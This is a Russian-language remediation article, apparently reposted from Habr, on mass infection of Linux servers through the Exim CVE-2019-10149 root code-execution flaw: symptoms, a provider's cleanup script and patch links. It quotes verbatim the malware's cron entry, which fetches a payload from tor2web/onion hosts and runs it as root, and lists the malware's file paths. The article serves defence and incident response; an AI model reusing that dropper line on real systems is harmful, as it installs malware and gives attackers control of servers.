Массовое заражение серверов Linux (CVE-2019-10149)

Exim (v4) — это агент пересылки почты. exim4-config предоставляет инфраструктуру конфигурации для служб exim4. Она была вынесена в отдельный пакет для упрощения замены конфигурационной схемы собственной (без изменения файлов относящихся к основным пакетам exim4). 

В случае серверов, которым требуется специальная конфигурация (например, есть много машин с одинаковыми настройками), можно использовать этот пакет для распространения изменённых конфигураций через систему пакетов с помощью механизма dpkg — conffile, которая позволяет избежать внесения дополнительных изменений на каждой машине.

Выявлена критическая уязвимость в почтовом сервере Exim, которая позволяет выполнить код на сервере с правами root. 

Данная уязвимость (CVE-2019-10149) может привести к выполнению кода на сервере с правами root, который осуществляется во время обработки специального запроса. Ошибка была найдена в версиях Exim 4.87 до 4.91 (включительно). Неправильная проверка адреса получателя в функции

delivery_message () в /src/deliver.c

может привести к удаленному выполнению команды.
Узнайте больше о CVE-2019-10149 из словаря MITER CVE и NIST NVD . Эксплуатация данной угрозы возможна в версиях с 4.87 по 4.91 включительно или при сборке с опцией EXPERIMENTAL_EVENT.

Для исправления прошлых версий, применяющихся в дистрибутивах, можно использовать патч, доступный по ссылке на сайт git.exim.org

Exim широко распространен. На момент публикации результаты поиска Shodan показали, что более 4,1 миллиона систем используют версии Exim, которые считаются уязвимыми (4.87-4.91), а 475 591 — последняя исправленная версия (4.92). Другими словами, почти 90% систем с Exim уязвимы для локальной эксплуатации и потенциально для удаленной эксплуатации в зависимости от конфигурации.

Как понять, что сервер взломан?

Проверьте запущенные процессы командой top. 
На заражённых серверах наблюдается 100%-я нагрузка, создаваемая процессом [kthrotlds]. Также в планировщике cron добавляется задание с ограничением прав на редактирование.

Секция предупреждений

Все встреченные нами инциденты заражения были абсолютно однотипными, вторая и третья волна могут от них отличаться — для них возможно придется модифицировать скрипт. На момент заражения задания в cron утрачиваются безвозвратно и возвращать их надо руками. Скрипт «рубит с плеча» — безбоязненно обновляет Exim до патченных версий, в случае с Centos 6 даже из тестового репозитория. Инстанс зловреда сидит в памяти, поэтому сервер обязательно нужно перезагружать сразу после чистки кронов. 

Важно: уязвимость позволяет исполнять код из под root’а, что не дает никаких гарантий стопроцентного исцеления. Имея рутовый доступ к серверу, можно запрятать на этот сервер почти что угодно, так, что найти его будет почти не возможно. Гарантированно полностью вылечить сервер можно только полной переустановкой, однако она далеко не всегда возможна. Если возможности переустановить сервер нет, а симптомы совпадают с описанными — можно попробовать быстро заделать дыры этим скриптом.

Используя скрипт, вы делаете это на свой страх и риск: мы протестировали скрипт на ряде серверов, однако всегда существуют риски несовместимости версий программного обеспечения или конфликта настроек.
Также наш скрипт позволяет вылечить лишь одну из возможных реализаций заражения — не исключено, что уже сейчас есть другие способы эксплуатации уязвимости, которые в наше поле зрения не попали.

1. Обновляет Exim, переустанавливает curl.
2. Проверяет наличие заражения на сервере.

Скрипт анализирует задания планировщика на наличие подозрительных включений. Например, таких:
				
					*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi;  (${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp

				
			
2а. Если в папке /etc есть следы вирусного скрипта, делает следующее
  • останавливает cron
  • убивает процесс, запущенный вирусным скриптом
  • четыре раза убивает процессы curl wget sh (запускаются вирусом по расписанию)
  • чистит почтовую очередь от всех писем (заражённые письма трудно отделить от безвредных, поэтому приходится удалять всю очередь)
  • разрешает удаление файлов, где размещены фрагменты вредоносного скрипта:
				
					/etc/cron.daily/cronlog
/etc/cron.d/root
/etc/cron.d/.cronbus
/etc/cron.hourly/cronlog
/etc/cron.monthly/cronlog
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.d/root
/etc/crontab
/root/.cache/
/root/.cache/a
/usr/local/bin/nptd
/root/.cache/.kswapd
/usr/bin/\[kthrotlds\]
/root/.ssh/authorized_keys
/.cache/*
/.cache/.sysud
/.cache/.a
/.cache/.favicon.ico
/.cache/.kswapd
/.cache/.ntp
				
			
  • удаляет эти файлы
  • удаляет задание автозапуска в /etc/rc.local
  • удаляет ключ злоумышленника из разрешенных ключей ssh
  • запускает cron
  • и сразу перезагружает сервер

  • 2б. Если следов заражения нет, скрипт завершает работу.

    Уточнения

    Все задания планировщика cron вирус удаляет. Поэтому после перезагрузки сервера требуется их повторная настройка или восстановление из резервной копии. 

    curl также заражается вирусом, поэтому он переустанавливается.

    Перезагрузка (скрипт выполняет её автоматически после лечения) обязательна — иначе вредонос сохраняется в памяти сервера и самовоспроизводится каждые 30 секунд даже после удаления заражённых файлов.

    Как пользоваться

    Перед запуском убедитесь, что у вас на руках есть актуальная резервная копия данных сервера.

    Для запуска скрипта:

    Подключитесь к серверу по ssh под пользователем с правами root. Также можно использовать Shell-клиент в панели ISPmanager — Инструменты.

    В терминале введите команду:

    				
    					wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh
    				
    			

    Ожидайте завершения выполнения скрипта и перезагрузки сервера. 

    После перезагрузки проверьте работу сервера и сайтов/приложений, размещённых на нём, перенастройте или восстановите из бэкапа задачи в cron.

    Обновление до безопасной версии

    Обновления для пакетов, поставляющих версию 4.92, в которой не проявляется данная проблема, можно найти по ссылкам:

    Для Debian: https://security-tracker.debian.org/tracker/CVE-2019-10149

    Для Ubuntu: https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-10149.html

    Для OpenSUSE: https://bugzilla.novell.com/show_bug.cgi?id=CVE-2019-10149

    Для Arch Linux: https://www.archlinux.org/packages/community/x86_64/exim/

    Для Fedora: https://bodhi.fedoraproject.org/updates/FEDORA-2019-7b741dcaa4

    Данный почтовый сервер является самым распространённым, поэтому, скорее всего, он установлен в вашей системе. На данный момент уже появились вирусы, которые эксплуатируют уязвимость. Советуем осуществить проверку на наличие Exim, а также принять меры по защите от данной уязвимости.

    Некоторую информацию о CVE-2019-10149 в дистрибутивах Linux можно найти здесь:

    Отслеживание безопасности Debian: CVE-2019-10149
    База данных Red Hat CVE: CVE-2019-10149
    Ubuntu CVE Tracker: CVE-2019-10149
    Gentoo Bugzilla: CVE-2019-10149
    Центр безопасности Amazon Linux: ALAS-2019-1221

    Источник: Habr

    Свежие записи
    Команда RD

    Команда RD и RMDIR позволяют удалять как каталоги, так и

    Настройка
    help2site
    Нужно обновить биос без процессора? Решаем вопрос

    Попробуем решить непростую задачу когда нужно обновить БИОС без процессора на материнской плате. Что такое BIOS и как им пользоваться, если коротко, самостоятельная микропрограмма, отвечающая за

    Web-Дизайн
    help2site
    Всплывающие подписи изображений

    В CSS3 скрыт огромный потенциал , и в этой статье мы используем некоторые из них для создания интересных эффектов для подписи картинок. И так мы

    Ремонт
    help2site
    Ремонт айпада 3

    Ipad 3 — это одно из новых поколение гаджетов от популярной компании Apple. Конечно же он отличается от Ipad 2 , но не на много!

    Программы
    help2site
    Факты про компьютерные вирусы

    Самым первым компьютерным вирусом был Creeper, обнаруженный в компьютерной сети ARPANET, предшественницы Интернета в начале 1970-ых годов. Это была экспериментальная самоперемещающаяся программа, написанная в 1971

    Интернет
    help2site
    Купить планшет за границей

    Заказать планшет IPAd Купить планшет за границей стало намного проще и безопаснее, сегодня я хочу рассказать вам, как это можно осуществить. Сами понимаете, что в интернете

    Диагностика
    help2site
    Настройка SQLite-соединения под Windows

    Когда вы создаете новое приложение в Yii, при генерации файла класса модели для таблицы БД может возникнуть ошибка:  exception ‘CDbException’ with message ‘CDbConnection failed to